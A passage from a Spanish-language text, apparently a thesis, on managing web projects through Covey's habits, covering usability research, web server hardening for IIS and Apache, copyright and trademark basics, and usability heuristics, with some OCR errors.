Se debe entrevistar varios usuarios o0 clientes, de ser posible, con
diferentes caracteristicas, ejemplo en diversos puestos, con diversa educacion,
preferencias y sobre todo, con diferente experiencia computacional. Si los
recursos lo permiten, se debe usar una camara de video o grabadora de audio

para almacenar la entrevista.

Una vez recolectada la informacion, se debe catalogar, por usuario y por
tarea, de modo que se pueda referir a ella de manera clara por ejemplo:
usuariolO, tarea A. Luego se debe analizar los datos y tratar de obtener ideas
sobre el sistema a construir o redisefiar, se debe estar listo para llamar a los
usuarios o clientes en caso de dudas. Estos datos seran de utilidad para la fase
de disefio posterior.
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Es importante coordinar los datos con los analistas de sistemas
encargados de los requerimientos de los usuarios, en el caso de que se use
metodologias RUP o XP con el fin de obtener retroalimentacion y mejorar los

puntos de vista globales del sistema.

Estudio etnografico

Consiste en observar a los usuarios en su ambiente de trabajo, con el fin
de determinar si existe algun tipo de problema o caracteristica especial que no
haya sido determinada por medio de entrevista contextual.

Se inicia concertando una visita a los usuarios, se debe elegir una
variedad heterogénea de usuarios del producto o servicio de diferentes

empresas, industrias y ambientes.

Debe utilizarse el tiempo adecuadamente ya que se tendra pocas horas
para observar las caracteristicas del ambiente de trabajo, se debe coleccionar
cuanta informacion se pueda y no analizarla de inmediato, se tendra mas

tiempo para eso luego.
Se debe identificar cuantos artefactos sean posibles como por ejemplo:
Objetos fisicos como agendas, formularios, documentos etc.

Outcroppings: elementos fisicos que caracterizan la localidad fisica, como por

ejemplo cubiculos, pizarrones, ventiladores etc.

Esta informacion es til para determinar el ambiente real de trabajo de los
clientes y poder asi saber las motivaciones, frustraciones y necesidades reales

de los usuarios.
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Perfiles del usuario

Estos consisten en la descripcidbn mas o menos detallada de los usuarios
tipicos del sistema, incluyendo sus datos y caracteristicas basicas, con el fin de
basar las decisiones de usabilidad y disefio en las preferencias personales de
los mismos.

La informacion tipica de un perfil de usuario es la siguiente:

e Nombre

e Sexo

e Fotografia

e Fecha de nacimiento

e Puesto desempefiado

e Escolaridad

e Tiempo de laborar para la organizacion

e Tiempo de experiencia en el uso de computadoras
¢ Nivel de destreza en el uso de computadoras

e Frecuencia en el uso de computadoras

e Tiempo de experiencia en el uso de Internet

¢ Nivel de destreza en el uso de Internet

e Frecuencia en el uso de Internet

e Tareas que efectla en la organizacion y la frecuencia de las mismas
e Personas a quienes reporta (supervisor o jefe)

e Problemas que encuentra en el trabajo

e Ingresos

e habitos de consumo

e Limitaciones fisicas

e Motivaciones
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e Aspiraciones personales
e habitos sociales

e Etc.

Es importante hacer notar que los datos aportados deben tener relacion
con la conducta, hébitos, motivaciones, tareas rutinarias, deseos,
dificultades y toda la informacion relacionada que pueda afectar la conducta
y/o percepcion del usuario frente al sistema, ya que estos factores seran
vitales para el disefio efectivo del sitio web y por ende de la satisfaccion del

usuario cuando utilice el sistema a construir.

Si los usuarios son externos 0 no trabajan para la organizacién entonces
se debe registrar la informacion que relacione los factores arriba
mencionados entre este usuario y la organizacién, o bien entre el usuario y

el sitio web de la misma (en el caso de redisefio del sitio web).

Es importante recordar que los datos aportados deben ser reales, ya que
datos ficticios dardn expectativas erroneas sobre los usuarios, lo cual
afectara en la toma de decisiones para decidir los criterios de usabilidad y

expectativas de los usuarios.

3.2.2 Plan de usabilidad

El plan de usabilidad es el marco de trabajo que sirve para coordinar el
disefio y evaluacion del sistema a construir, con el fin de que el producto final

sea altamente Uutil, las partes fundamentales del documento son las siguientes:
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Perfiles de usuario

Como ya se menciond, contiene la descripcion de los usuarios tipicos del
sistema, con la informacion basica minima que provea el suficiente
conocimiento para la toma de decisiones sobre como disefiar un sistema util y

gue satisfaga las expectativas y deseos de estos usuarios.

Escenarios de tareas

Se realizan con el fin de proveer ejemplos del uso real del sistema para la
fase de disefio y para proporcionar bases para el posterior andlisis de
usabilidad. Los escenarios especifican la manera como los usuarios realizan

sus tareas en un entorno determinado.

Metas de usabilidad del software

Basicamente son objetivos de usabilidad que se desean cumplir, los

cuales seran evaluados posteriormente.

Estos incluyen por ejemplo: ¢Cuan importante es la facilidad de uso y la
facilidad de aprendizaje? ¢Cuanto tiempo se deben tardar los usuarios en
completar una tarea determinada? ¢Cuales seran las politicas para minimizar
errores? Algunas de las consideraciones mas comunes a tomar en cuenta

incluyen:

¢, Deben ser los usuarios capaces de utilizar la aplicacion sin asistencia directa?
¢Puede un usuario sin conocimientos de computaciéon iniciar y ejecutar
eficientemente la aplicacion?

¢Podran los usuarios navegar exitosamente en la aplicacion? ¢se mantiene

claro el estado del sistema en todo momento?
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¢La informacion se encuentra disefiada de modo que se encuentre facilmente vy
sea claramente identificada?

¢, Son familiares los iconos e imagenes para los usuarios de manera que ellos
entiendan claramente su funcion?

¢Puede usarse el sistema sin necesidad de ayuda impresa, utilizando
Gnicamente la ayuda en linea?

¢, Como reaccionan los usuarios hacia la ayuda en linea, la utilizan realmente?

El plan de usabilidad es indispensable para todos los proyectos que
utilicen disefio centrado en el usuario (UCID). Se realiza durante la fase de
analisis y normalmente es escrito por el experto en usabilidad en coordinaciéon

con el escritor técnico y el demas equipo de desarrollo.

Primeramente se debe revisar cada tarea obtenida de las entrevistas
contextuales; junto con sus escenarios para seleccionar las tareas mas
importantes. Posteriormente se debe decidir cuales tareas necesitan ser
vigiladas con requerimientos de usabilidad, es decir, que necesitan mas trabajo

para proveer facilidad de uso.
Luego para cada tarea elegida se debe estimar (por ejemplo):

e El tiempo aceptable promedio y el tiempo éptimo de ejecucion

e CoOmo medir la efectividad por medio de la prediccion de errores de usuario
e La efectividad deseada

e Tiempo maximo para usuarios lentos

e Porcentaje de usuarios que deben completar un nimero de tareas

e NUumero maximo de errores que un usuario debe cometer

e Minimo de satisfaccion que el usuario debe mostrar por el sistema (Ej. alta

0 muy alta).

84



Queda a criterio del experto de usabilidad, la eleccion de las metas de
usabilidad de cada tarea de usuario, con el fin de obtener la mejor respuesta y

obtener una mejor experiencia y satisfaccion del usuario final.

Estandares y guias a ser usadas

Comprende los estandares a ser usados durante el proceso de analisis y
disefio de usabilidad del sistema; este documento ha sido basado en el
método U.C.I1.D. (user centered information design) , el cual ha sido basado
a su vez en los estandares 1ISO 18529 e ISO 9241 y que contiene guias
para el disefio de sistemas orientados al usuario. Otras metodologias de
usabilidad pueden ser utilizadas como por ejemplo: LUCID, TRUMP,

MUSIC, UMM, las cuales estan basadas en el disefio orientado al usuario.

3.3 Tercer habito en seguridad

En este texto se mencionara la seguridad a nivel de la aplicacion web y se
centrara sobre esa parte de la cadena de seguridad, aunque cabe mencionar
que la seguridad es un tema muy amplio que debe ser tratado con mucha
seriedad ya que exige un grado de conocimiento alto de parte del experto en el
tema, al igual que las actividades de  plantacion, requiere trabajar en el
cuadrante 2 para evitar las urgencias y los ataques y debe prever cualquier tipo

de contingencia y contar con los planes adecuados.
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Plan de seguridad

Junto con la planificacién anteriormente mencionada para el sitio, también
debe existir un sélido plan de seguridad lo méas actualizado posible para permitir
la mitigacién de las vulnerabilidades mas serias a nivel de aplicacion. El plan de
seguridad propuesto en este texto esta basado en el método SKIP de Cert %, el
cual propone una serie de practicas a seguir para reforzar la seguridad a todo

nivel.

Las practicas del plan de seguridad son:

Configurar los sistemas de software de acuerdo alas necesidades del

sitio

En muchas ocasiones, la configuracion de sistemas y herramientas de
software como web servers, lenguajes de script (asp o php), bases de datos,
applets etc. son ejecutados sin tomar en cuenta consideraciones de seguridad.
El plan de seguridad debe contar con lineamientos para la configuracion de los
elementos necesarios para el funcionamiento del sitio y debe contener

recomendaciones sobre como:

e Eliminar servicios que son innecesarios para el funcionamiento correcto del
sitio.
e Restringir el acceso a archivos sensibles y directorios.

e Deshabilitar funciones en el software que puedan propiciar vulnerabilidades.
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Se debe instalar la versibn mas moderna del producto o herramienta que
exista segun las necesidades y capacidad de adquisicion de la organizacion.
Primordialmente instalar los parches y actualizaciones del sistema operativo,
esto es vital para que el sistema no tenga vulnerabilidades muy conocidas y
pueda ser objeto de un ataque eficaz. Se debe leer adecuadamente la
documentacion para saber como configurar el sistema de manera correcta.
Actualizar el sistema para obtener la version mas actualizada, en el apéndice
aparecen diversos sitios que proveen seguridad para diversos sistemas

operativos y servidores web.

3.3.1 Fortalecer el sistema

El servidor web es uno de los puntos mas débiles donde suceden ataques
en un entorno web. ademas de los ataques planeados, los worms y scripts que
se ejecutan sin la necesidad de direccion humana, demandan que el servidor

web sea protegido y se mejore su seguridad.

Tradicionalmente, los servidores web como IIS y Apache han venido
preconfigurados para permitir una rapida y facil instalacion asi como una veloz
puesta en produccién. Sin embargo, muchos administradores no se han
preocupado por asegurar el servidor web y lo han configurado con las opciones
predeterminadas. Esto trajo una serie de riesgos para la estabilidad y
confidencialidad de la informacion que fueron aprovechados por hackers que

han saboteado servidores de importantes sitios en la red.

Estos acontecimientos han hecho que los fabricantes creen opciones
predeterminadas mas seguras y los servidores web vengan con configuraciones
mas robustas que sus antecesores. A continuacion, se muestran algunas

recomendaciones para mejorar la seguridad basica de servidores IS y Apache:
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IIS Internet Information Service

Hasta la version 5, 1IS fue bastante flexible y permitia una serie de
acciones a los programadores con el fin de ser facil de usar y de rapido
aprendizaje en la administracion de sitios, sin embargo estas caracteristicas
permitian a intrusos diversas acciones maliciosas que ponian en alto riesgo la

seguridad del web server.

Debido a ello, la nueva version de IIS (version 6) ha mejorado mucho las
caracteristicas de seguridad, haciendo que la configuracion predeterminada sea
mas robusta que sus versiones anteriores. Para conocer mejor las

caracteristicas de IIS 6 véase el apéndice.
Apache Server

Apache es el servidor web mas popular de Internet, al ser liberado bajo la
filosofia open source, se ha ganado un lugar preferente dentro de los servidores
web debido a su robustez y eficacia.

Apache server ha sido redisefiado y muchas de sus caracteristicas de
seguridad se mejoraron. A continuacion se presentan algunas practicas utiles
para asegurar de mejor manera a este servidor web segun Maj #*:

Conocer la funcionabilidad del sitio

Antes de instalar cualquier componente del servidor, debe conocerse

cudles son los requerimientos de  funcionabilidad del @ sitio.
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Una vez determinados, instalar o bien habilitar Unicamente aquellos
modulos y componentes que sean estrictamente necesarios, esto es muy
importante para evitar vulnerabilidades en servicios poco utlizados o
innecesarios. Tomar en cuenta que la instalacion predeterminada no es la mas
segura. Se debe partir de lo minimo y avanzar conforme se necesite servicios y

utilizar nicamente lo estrictamente necesario.

Asegurar el ambiente del servidor Web

Aunque la seguridad perimetral de redes y servidores fisicos esta fuera del
alcance de este texto, es recomendable tener en cuenta, en todo momento, las

premisas basicas de seguridad como:

e Proteger el servidor web por medio de un firewall

e Determinar qué paquetes son necesarios y denegar los restantes.

e Instalar un IDS (intrusion detection system)

e El sistema operativo debe estar parchado y actualizado, ademas debe
utilizar solo los servicios necesarios.

e Solo los modulos necesarios del servidor web deben ser habilitados.

e El servidor debe ocultar cuanta informacion pueda sobre si mismo, para

evitar ataques como el fingerprint.

Para conocer la configuracion basica de seguridad de Apache consultar el

apéndice.

89



Scripts CGl entre directorios

Los scripts de CGI entre directorios se deben autorizar tnicamente si:
e Se confia que los usuarios no ejecutaran scripts que expongan al sistema a
ataques

e La seguridad del sitio es muy débil y otras vulnerabilidades son irrelevantes

Vigilar los logs

Tal y como se mencioné con IS, los logs permiten ver los eventos que han
sucedido en el servidor web, estos incluyen intentos de ataque peticiones poco
comunes y cualquier posible ataque a directorios o recursos no visibles. Se

deben mantener habilitados todos los logs y revisarlos de manera frecuente.

Aplicar parches de seguridad

Se debe recordar que los sistemas de software distan de ser perfectos. Es
aconsejable visitar frecuentemente las péaginas de los fabricantes o
desarrolladores y verificar si existen nuevos parches de seguridad para
descargar; si es asi, se deben instalar y configurar adecuadamente para
mantener el sitio en un estado actualizado segun las tecnologias reconocidas.
En el apéndice se incluye algunos sitios donde se pueden descargar
actualizaciones y parches de seguridad para los distintos productos como
Apache, PHP e IIS.
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Prepararse

Como experto en seguridad, es importantisimo que esté preparado para un
eventual ataque asi como para reconocerlo. En este texto se mencionan las
vulnerabilidades mas criticas para aplicaciones web segin la OWASP ?* y sus
variantes conocidas (véase hébito cuatro en seguridad). Entre estas

vulnerabilidades se encuentran:

¢ Inyecciones Sq|l

e Cross site scripting

e Parameter Tampering
e Cookie poisoning

e Buffer overflow

¢ Mal manejo de errores
e Mala configuracién

e Etc.

Para una descripcién de estas y otras vulnerabilidades véase el habito 4
en la seccion de seguridad. Es muy importante hacer notar que con el avance
de la tecnologia siempre aparecen nuevas vulnerabilidades por lo que el
experto en seguridad debe siempre actualizarse para poder responder a la

amenaza de nuevos ataques.

Detectar

Una vez actualizado con los conocimientos sobre vulnerabilidades y tipos de
ataque recientes, el experto debe estar en posicion de detectar estos ataques.
Los ataques generalmente se descubren por medio de cambios en el

sistema Ej. Logs, archivos sensibles etc.
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Debe tener especial cuidado en determinar si el sistema se encuentra
dentro de pardmetros normales y cuando esta siendo victima de una intrusion.
Las herramientas de deteccion de intrusos y los logs del sistema junto con los
firewalls son aliados en la lucha contra intrusos y usuarios maliciosos, por lo

gue deben utilizarse en conjunto para mejorar su efectividad.

Responder

El objetivo primario de esta fase es realizar acciones que detengan el
atague, determinen los responsables y restauren el sistema, con el fin de que
el sitio se mantenga en funcionamiento tan rapido como sea posible sin perder

la disponibilidad planeada.

En esta fase se debe analizar las acciones maliciosas encontradas y tomar
acciones drasticas, segun sea el nivel de vulneracion del ataque. Se debe
encontrar la causa y verificar que el sistema quede libre de los residuos del

ataque.

Mejorar el sistema

Una vez completadas la deteccién y respuesta de un ataque hacia el sitio,
se debe proceder a mejorar la infraestructura del sitio para evitar posteriores

atagues. Generalmente esta etapa incluye:

e Andlisis forenses (forensics)
¢ Revision de politicas y procedimientos
e Seleccion de nuevas herramientas

e Averiguar todo lo concerniente al incidente y buscar remedios efectivos
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Repetir el ciclo

Una vez terminada la etapa de mejoramiento se debe repetir el ciclo
nuevamente. Esta practica se debe realizar de manera continuada con el fin de
descubrir y mitigar vulnerabilidades ya sea conocidas o nuevas, para tener el
sitio en un estado suficientemente seguro para su correcto funcionamiento, esto
implica alta proactividad por parte del experto en seguridad. En el apéndice se
muestra una lista de sitios con parches y actualizaciones para los servidores

web y herramientas como PHP.
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4. HABITOS CUARTO Y QUINTO

4.1 Habito cuatro: Piense en ganar-ganar

Ganar-ganar es la filosofia del beneficio compartido, consiste en que
todas las partes salen beneficiadas en un proceso de cooperacion y donde

todos obtienen un beneficio real y autentico de dicha del trabajo en equipo.

4.1.1 Habito cuatro en administracion

El habito cuatro es el primer habito de la victoria publica, requiere ser
altamente proactivo y tener una buena dosis de liderazgo personal. El liderazgo

de grupo es cultivado por este habito ya que permite una comunicacion efectiva.

¢,Cual es el enfoque utilizado normalmente para llevar a cabo un proyecto

web?

Existen varios enfoques utilizados, pero generalmente es el esquema gano-
pierdes el que prevalece, donde el lider del proyecto trata de implementar sus
propias ideas sin dar lugar a que el equipo de desarrollo aporte su experiencia y
opiniones al mismo. Como se vié en el capitulo uno, el enfoque gano pierdes

desgasta al equipo de trabajo y provoca envidias y resentimientos.
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En la medida de lo posible se debe tratar de tener un enfoque ganar-ganar
gue permita al equipo de trabajo interactuar de manera eficiente en la toma de
decisiones y aportar elementos valiosos en la construccion y mantenimiento del

sitio web asignado.

El enfoque ganar-ganar también debe ser aplicado con los usuarios del
sitio, no debe tomarse nunca ninguna politica que haga sentir al usuario
vulnerable o utilizado ya que esto hara que la credibilidad y la reputacion de la
organizacion disminuya. Se debe recordar que las pequefias cosas para el
administrador pueden ser grandes para los usuarios o para los miembros del
equipo de desarrollo o inclusive para los clientes finales del proyecto quienes
pueden dar por cancelado un proyecto si detectan actitudes como estas, que

aungue aparenten ser pequefias pueden desencadenar grandes reacciones.

A continuacion se discuten aspectos importantes a tratar en un proyecto

web de cara al ambiente externo:

4.1.2 Copyright© ™ ®

El copyright es basicamente el derecho que el autor de un trabajo posee
para controlar la copia de dicho trabajo, funciona como un medio de balance
entre los derechos entre los propietarios del trabajo y las personas que deseen

utilizar dichos trabajos 3.

Es sumamente importante conocer las ventajas y limitaciones del trabajo
intelectual antes de realizar algun tipo de publicacién con el fin de proteger el
trabajo propio, asi como evitar el uso indebido de cualquier trabajo ajeno sin los

debidos permisos, lo cual puede ser fuente de severas sanciones legales.
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En estados unidos a partir de 1989 todo trabajo intelectual tiene proteccion
de copyright aunque no presente dicha advertencia de manera explicita, aunque
en Internet, un trabajo intelectual puede estar sujeto a varios tipos de leyes

distintas, es necesario conocer las limitaciones en el uso de material registrado.

Tipo de elementos sujetos a copyright

Los elementos que pueden estar sujetos a proteccién por copyright incluyen:
texto, imagenes, disefios graficos, archivos multimedia (audio y video), libros,
citas de autores y demas tipo de informacion por la cual se ha tenido que llevar

un proceso de creacion.

Ejemplo de esto son imagenes de revistas, periddicos o libros que se
colocan dentro de una pagina web sin permiso, archivos mp3 o videos
extraidos de CD o DVD. Fotografias etc.

Brad Templeton en su sitio sobre copyright (véase %) incluye algunos mitos
sobre la utilizacion del copyright, los cuales se adaptan al respeto por los
derechos de autor en la web, a continuacion se incluye algunas de estas falsas

ideas:

No es un delito si no se hace uso comercial del trabajo copiado

Esto es falso, ya que copiar el trabajo intelectual de otros, aunque no sea
con fines comerciales es ya un delito en si. Sin embargo, la utilizacion
comercial del trabajo agrava generalmente los cargos en la corte. Si se decide
utilizar trabajos de terceros en cualquier proyecto web entonces se debe pedir
permiso a los duefios para utilizarlo, recuerde, un trabajo no necesita tener

noticia de copyright para considerarse protegido.
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Cuidado con el Fair Use o uso limpio

El uso limpio es el término designado para el uso de material protegido con
el fin de utilizarlo en comentarios, parodias, opiniones, noticias etc. Sin el
permiso explicito del autor. Esto es util para permitir la libre emision del
pensamiento pero sin vulnerar el derecho legitimo del autor para reclamar sus

derechos sobre dicha obra.

El uso limpio consiste por ejemplo en el uso de un fragmento de un libro o
comentario con el propésito de comentar o comparar dicho trabajo o bien para
respaldar el propio, pero nunca para apropiarse de la autoria o prestigio de la
obra referida, en todos los casos, el uso limpio restringe el comentario a una
parte de la obra citada y nunca a todo su contenido, por otro lado el uso limpio
de un comentario no debe limitar o desanimar a los lectores o usuarios para
adquirir la obra completa del autor citado. Si sucede lo contrario, entonces se
esta atentando contra los derechos del autor citado y se esta incurriendo en un

delito.

Un ejemplo de utilizacion del fair use o uso limpio son los shows dedicados a
la comedia que utilizan frases, imagenes y personajes que tienen copyright para
uso humoristico o critico, aunque se trate del mismo personaje original, esto no
viola los derechos de autor del personaje o autor original o bien la critica de
comentarios entre periodistas de medios escritos o televisivos (lo cual es muy
comun). Las leyes de derechos de autor, sin embargo, varian entre paises y es
recomendable revisar la legislacion local para evitar confusion u omisién
involuntaria, se debe recordar que ignorar una ley no disculpa al agresor y en
algunos paises puede ser objeto de una sancién mas directa en la corte. En

términos generales lo que en un pais es valido, puede no serlo en otro.
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Es imposible registrar un nombre o palabra que ya ha sido usado

Esto depende del contexto, por ejemplo en Guatemala existe una empresa
llamada Windows, esta se dedica al comercio de alfombras y equipo para
ventanas, en principio se puede pensar que es imposible que se llame asi ya
que Microsoft ® Corp. tiene registrado para sus sistemas operativos la palabra
Windows, sin embargo la palabra Windows tiene un contexto diferente en cada
caso, aunque se puede registrar Windows como palabra reservada en sistemas
operativos, no puede registrarse la palabra Windows per se, es decir registrar la
palabra de manera global independiente del contexto (ya que es una palabra

perteneciente al idioma inglés y por lo tanto no puede apropiarse).

Es importante mencionar que una marca no puede crear confusién hacia
otra marca o producto similares, por ejemplo Microsoft ® Corp. Ha demandado
recientemente (2004) a la empresa productora del sistema operativo “Lindows”
ya que este provoca la confusion entre los usuarios al parecerse demasiado a la
marca de sistemas operativos “Windows” y por lo tanto puede atentar contra el
prestigio e intereses del gigante del software.

Debido a esta demanda (la cual ha concluido ya), el sistema operativo

Lindows tendrd que cambiar de nombre y en lo sucesivo se llamara “Linspire” el

cual no provoca confusién con “Windows”.
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Todo trabajo propio basado en trabajos registrados otorga los

derechos

Todo trabajo original aunque contenga porciones inéditas o contenido
creativo adicional en un trabajo derivado continda siendo propiedad del autor
original, esto es: si un trabajo ha sido corregido o ampliado por terceros, dicho
trabajo continta siendo del autor original. Un ejemplo claro seria la utilizacion
de personajes de television o cine en nuevos episodios. Aungue un autor
determinado cree dichos episodios, los derechos del autor original permanecen

intactos porque su trabajo original (los personajes) han sido usados.

En todo caso, se necesita permiso explicito del autor del trabajo original
para poder optar a licenciar dicho trabajo derivado, lo cual generalmente cuesta
una suma determinada de dinero dependiendo del valor comercial o intelectual
del trabajo original utilizado, esto generalmente se utiliza en las denominadas
Franquicias, donde una persona o empresa paga los derechos al duefio original
para utilizar sus caracteres en una determinada campafa publicitaria o de
marketing con el fin de que la reputacion de la marca adquirida en franquicia le

represente beneficios econémicos.

Publicidad gratis, no gracias

Por ultimo, el falso argumento de que utilizar un banner, imagen o elemento
registrado de otro sitio o autor en el sitio propio es realizar publicidad gratis, ha
sido inatilmente utilizado en la corte en las demandas de derechos de autor y es
demasiado débil para evitar sanciones economicas, por lo tanto, es mejor pedir

permiso al autor y ahorrarse problemas legales.
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Es importante hacer notar que las marcas registradas si tienen un
vencimiento, esto varia entre paises pero se debe vigilar bien la legislacién local
con el fin de evitar sorpresas. Es importante hacer notar que los dominios
web tienen una fecha de vencimiento y si no se renuevan pasan a formar
parte del dominio publico, con la posibilidad de compra para cualquier
entidad o persona, en Guatemala sucedié recientemente: una radio que
operaba en Internet no pagoé a tiempo la renovacién de su contrato y cuando
quisieron hacerlo, el dominio ya habia sido adquirido por terceros y puesto a la

venta, por supuesto a un precio mayor que el que se pago originalmente por el.

¢, Quién es el duefio?

En un proyecto web y en cualquier proyecto informatico en general, se
debe definir bien, cudles son los limites y alcances del mismo, lo cual incluye la
autoria intelectual del proyecto. Normalmente las empresas retienen los
derechos de todo trabajo hecho por los empleados, respaldandolo en contratos
bien elaborados, esto es principalmente para cubrirse las espaldas ante
cualquier posibilidad de demanda, sin embargo muchas empresas no tienen
bien definido quién es el poseedor de los derechos, lo cual puede tener como
consecuencia pleitos legales sobre la propiedad de una obra, cédigo fuente o

proyecto entre desarrolladores y empleadores.
En todo momento, se debe definir quién sera el duefio del cédigo de las

aplicaciones y si se trabaja para una empresa, hablar claramente este aspecto

con el fin de evitar problemas futuros.
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¢ Como proteger el trabajo propio?

Por definicion todo trabajo intelectual esta protegido, sin embargo es
aconsejable mostrar claramente dicho mensaje, en Guatemala solamente se
necesita colocar el signo de copyright, el afio y el duefio/autor para que el
trabajo quede automaticamente protegido. En una pagina web normalmente
esto se hace mostrando en la parte inferior de la pagina un mensaje de
copyright que incluya el afio y el autor/duefio, generalmente de la siguiente

manera.

Copyright ® 2006, Manglio Reyes

Sin embargo, es recomendado registrar todo el trabajo intelectual ante la
autoridad nacional respectiva, en Guatemala, el Registro de la Propiedad es la
autoridad designada para los trdmites de marcas registradas.

Pedir permiso a los autores

¢, Qué posibilidades existen que un autor coloqgue una demanda por violacion
de derechos de autor contra una pagina? Depende del juicio del agredido,
normalmente en paginas personales es dificil que una institucion como Disney
demande a un autor por colocar imagenes de Mickey Mouse, ya que existen
muchisimos sitios al respecto, sin embargo es prudente no tentar la suerte y

pedir permiso para el uso de material protegido a sus autores.
Las condiciones del permiso normalmente incluyen la lista de objetos

registrados a los cuales se concede permiso, el costo de su utilizacion, el

tiempo por el cual se autoriza su uso etc.
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4.1.3 Habito cuatro en usabilidad: Principios de usabilidad

(heuristicos)

Previo a la planificacién de la usabilidad, es necesario conocer los principios
generales de disefio web con el fin de tener una solida base con la cual poder
disefar los prototipos del sitio y a la vez poder orientar a los usuarios en las
fases tempranas de analisis y disefio, a continuacion se presentan algunos

conceptos importantes a ser tomados en cuenta basados en 2*, ° y %

Primero rendimiento, luego apariencia

Asegurarse que en todo momento, el rendimiento del sitio sea el criterio
fundamental y no la apariencia. Aunque el disefio visual de un sitio es
importante ya que agrega profesionalismo al mismo, es deseable que se
cumpla primeramente con las metas de rendimiento ya que seria inutil contar
con una gran interfase de usuario pero a expensas de grandes tiempos de

descarga.

Colocar titulo y meta caracteres en todas las paginas

Todas las paginas que creadas en el sitio deben contener titulo, asi como
meta caracteres, lo primero ayudara a que el usuario sepa siempre cual es la
pagina que esta visualizando. Lo segundo es sumamente Util cuando la pagina
es seleccionada por los buscadores, ya que las frases incluidas en los meta
caracteres seran comparadas contra los criterios de busqueda utilizados por los
usuarios. Los titulos también servirdn para ver descripciones de la pagina
dentro de los buscadores, si no se coloca un titulo a la pagina, mostrara el texto
“untitted document” en la barra de titulo lo cual es indeseable. Los meta-

caracteres se incluyen de la siguiente manera:
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<meta nhame="description" ... sera utilizado por los motores de busqueda para
mostrar una descripcion del sitio

<meta name="keywords" ...sera utilizado por los motores de blsqueda para
filtrar paginas

ejemplo:

<html>

<head>

<title>elementos basicos de disefio web </title>

<meta name="description" content="Cémo utilizar heuristicos en disefio web.">
<meta name="keywords" content="web design website designs diseno web

heuristicos images graphic">

Mostrar la informacién en el formato comun de los usuarios

Asegurarse que la informacion se muestre en el formato o lenguaje mas
comun para los usuarios del mercado objetivo, ser cuidadoso en el uso de
medidas de longitud, capacidad, tiempo y abreviaturas ya que podria crear

confusién. Recuerde que un estandar en una regién puede no serlo en otra.

La siguiente fecha podria ser interpretada de dos maneras distintas segun

la regidn donde se use:
3/12/2004:

tres de diciembre de 2004 (América Latina)
doce de marzo de 2004 (Estados Unidos)
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Proveer ayuda en linea

Aunque muchos sitios ignoran esta regla, es sumamente aconsejable incluir
ayuda en linea para los usuarios novatos, con esto se podra asegurar que el
usuario no se sienta desorientado en el sitio y que pueda aprender como
navegar en €l de manera clara y simple. La ayuda debe contener el uso de las

partes principales del sitio.

Proveer una versién de facil impresion

Cuando el sitio contenga informaciéon atil como tutoriales, articulos o
cualquier informacion de interés, se debe procurar que exista una version
simplificada de la pagina, con la misma informacién pero con menos contenido
gréfico, con el fin de que los usuarios puedan imprimir mas facilmente las
paginas que deseen. Asegurese que la version de impresion sea de
dimensiones adecuadas para su impresion, tanto en ancho como en margenes,

para que la presentacién en pantalla no difiera mucho del disefio final impreso.
Estandarizar tareas

Las tareas a lo largo del sitio debe ser estandarizadas, es decir, que
contengan similares caracteristicas y estilo visual, por ejemplo, se debe evitar

gue unas tareas aparezcan dentro de una misma pagina y otras tareas similares

abran un ventana tipo pop-up ya que esto tiende a confundir a los usuarios.
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Reducir al maximo el tiempo de descarga

Mientras mas pequefia sea una pagina, su tiempo de descarga serd menor,
verificar que las paginas queden siempre lo mas pequefias que sea posible,
elimine cualquier elemento superfluo que agregue peso a las mismas. 50k es
un valor promedio para el tamafio maximo de las paginas. Se debe recordar
gue un usuario solo esperara 8 segundos en promedio para que cargue la

pagina, si no sucede asi, abandonara el sitio y dara clic al boton “regresar”.

Advertencia de tiempo maximo de sesion

Siempre advertir al usuario cuanto es el tiempo maximo de sesion en el caso
de aplicaciones web. Esto es muy comudn en aplicaciones que dan al usuario
un tiempo maximo de uso. Se debe indicar claramente qué debe hacer el

usuario en caso de que su sesion finalice.
Informar al usuario con los tiempos de descarga

Es importante que el usuario conozca cuél es el tiempo promedio de
descarga de algun archivo, esto se hace utilizando diversos ejemplos de
velocidad de conexion. Esto sera util para que los usuarios sepan si disponen
del tiempo necesario para descargar un archivo o si desean esperar el tiempo
gue tarde.

Ej.:

MODEM 56k 4 minutos
Cable 40 segundos
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Mostrar el progreso de tareas prolongadas

Si el sitio posee una tarea que tarde un tiempo considerable en ejecutarse
(la descarga de un applet por ejemplo) entonces se debe mostrar al usuario una

barra de progreso que indique qué porcentaje de la tarea esta completado.

Es importante que cuando se haya completado la descarga o tarea el
usuario reciba claramente una notificacion que le indique que el proceso ha
concluido con éxito, de igual manera si la descarga o proceso falla, el usuario

debe recibir un mensaje que le indique las posibles causas.

Proveer vinculos alternativos a los mapas de imagenes

Revisar que los mapas de imagenes (imagenes que poseen areas que se
comportan como vinculos hacia otras paginas o elementos) posean alternativas
de texto en caso de que sean accesados con browsers textuales o bien en el
caso gue los usuarios hayan deshabilitado los gréaficos. Cada regiéon del mapa

debe poseer un vinculo alternativo que provea funcionabilidad adicional.

Asegurar la consistencia sin hojas de estilo (style sheets)

Las hojas de estilo son archivos de texto que permiten a los disefiadores
web ahorrar trabajo y crear formatos personalizados de paginas de manera muy
simple ya que contienen cédigo de formato para fuentes, parrafos etc. Sin
embargo se debe validar que todas las paginas se vean adecuadas aun sin
incluir las hojas de estilo. La razon de esta validacion es que los usuarios
pueden accesar paginas que por alguna razén no pueden acceder a dichas
hojas de estilo y pierdan el formato, resultando en una pobre visualizacion.
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Disefiar para los browsers mas comunes

Se debe asegurar que el disefio final del sitio ha sido probado en los
browsers mas populares, esto es para asegurarse que la pagina se visualizara
de manera correcta.

Nunca utilice solamente un browser para verificar la apariencia del sitio.
Asegurese que ha probado en diversos browsers incluyendo navegadores de
texto plano como Lynx. también es importante validar las funciones disponibles
entre los diversos browsers, generalmente un browser contiene una serie de
funciones que otro browser no posee. Asegurarse siempre de disefar

independientemente del browser a utilizar.

Disefiar para las velocidades de conexion mas comunes

Verificar que que el sitio sea probado utilizando distintas velocidades de
conexion. La conexion mas comun en la mayoria de usuarios domeésticos es de
56kbps, mientras que los usuarios de oficina tienen conexiones de alta
velocidad. Se debe verificar que las paginas se desplieguen lo suficientemente
rapido aun en velocidades como 56kbps. Trate de reducir el tamafo de las
paginas cuanto pueda.

Disefiar para las resoluciones mas comunes

El tamafio de la pantalla es un factor clave para la correcta visualizacion del
sitio. Si la resolucion de pantalla actual del usuario es menor a la utilizada en el
disefio, entonces se perderan elementos de navegacion. Por otra parte, si la
resolucién del usuario es mayor a la utilizada en el disefio, las paginas tendran
grandes espacios vacios. En la actualidad (2004) las resoluciones mas
comunes son 800X600 y 1024X768 pixeles.
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En sitios profesionales se disefia para varias resoluciones y un script detecta la
resolucion utilizada por los usuarios y procede a redireccionar el browser hacia

